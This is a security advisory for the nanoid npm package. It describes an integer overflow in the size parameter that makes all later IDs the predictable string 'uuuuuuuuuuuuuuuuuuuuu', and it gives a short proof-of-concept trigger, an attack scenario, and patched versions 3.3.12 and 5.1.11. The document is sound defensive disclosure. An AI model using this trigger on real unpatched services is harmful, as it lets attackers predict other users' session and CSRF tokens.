nanoid: Integer Overflow or Wraparound

### Summary An integer overflow in `nanoid(size)` permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string `"uuuuuuuuuuuuuuuuuuuuu"`. Any application that passes user-influenced values to the `size` parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart. ### Details `nanoid()` at [`index.js:101`](https://github.com/ai/nanoid/blob/main/index.js#L101) coerces the `size` parameter with `size |= 0`, which converts it to a signed 32-bit integer. When `size >= 2^31` (e.g., `2147483648`), this wraps to `-2147483648`. The negative value is passed to `fillPool()` ([`index.js:15`](https://github.com/ai/nanoid/blob/main/index.js#L15)): ```javascript function fillPool(bytes) { if (!pool || pool.length < bytes) { // false: pool exists, -2B < pool.length pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER) crypto.getRandomValues(pool) poolOffset = 0 } else if (poolOffset + bytes > pool.length) { // false: poolOffset + (-2B) < pool.length crypto.getRandomValues(pool) poolOffset = 0 } poolOffset += bytes // poolOffset += -2147483648 → deeply negative } ``` Neither branch triggers, so the pool is never refreshed. `poolOffset` becomes ~-2.1 billion. Subsequent `nanoid()` calls execute: ```javascript for (let i = poolOffset - size; i < poolOffset; i++) { id += scopedUrlAlphabet[pool[i] & 63] } ``` `pool[negative_index]` returns `undefined`. `undefined & 63` evaluates to `0`. `urlAlphabet[0]` is `'u'`. Every ID becomes `"uuuuuuuuuuuuuuuuuuuuu"`. The corruption is **persistent** — it affects all subsequent calls in the process until ~100 million calls eventually wrap `poolOffset` back to positive, or the process restarts. ### PoC ```javascript import { nanoid } from 'nanoid' // Step 1: Normal operation console.log(nanoid()) // e.g., "V1StGXR8_Z5jdHi6B-myT" // Step 2: Trigger overflow (e.g., from an API parameter) try { nanoid(2147483648) } catch(e) {} // Step 3: All subsequent IDs are deterministic console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu" console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu" console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu" // ... forever, process-wide ``` Run with: `node --experimental-vm-modules poc.mjs` Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to `nanoid(userInput)`. ### Impact **Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.** - All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable - An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass - The corruption is persistent (survives across requests) and affects all consumers of `nanoid` in the same process - No special privileges or preconditions required — a single unauthenticated request is sufficient - Affects any application that passes external input to the `size` parameter without validation Source Code Location: https://github.com/ai/nanoid Affected Packages: - npm:nanoid, affected < 3.3.12, patched in 3.3.12 - npm:nanoid, affected >= 4.0.0, < 5.1.11, patched in 5.1.11 CWEs: - CWE-190: Integer Overflow or Wraparound CVSS: - Primary: score 7.4, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - CVSS_V3: score 7.4, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N References: - https://github.com/ai/nanoid/security/advisories/GHSA-xwg4-73v4-xw9w - https://nvd.nist.gov/vuln/detail/CVE-2026-73086 - https://github.com/ai/nanoid/commit/7087969281cab8ba8ae3babf1894e819068b3bb4 - https://github.com/ai/nanoid/commit/821dfed7b5db7f88e92f56c60eef32c8135077c3 - https://github.com/ai/nanoid/commit/b0036ed60dc9facd7f1191a50dfb3076500202ac - https://github.com/ai/nanoid/releases/tag/3.3.12 - https://github.com/ai/nanoid/releases/tag/5.1.11 - https://github.com/advisories/GHSA-xwg4-73v4-xw9w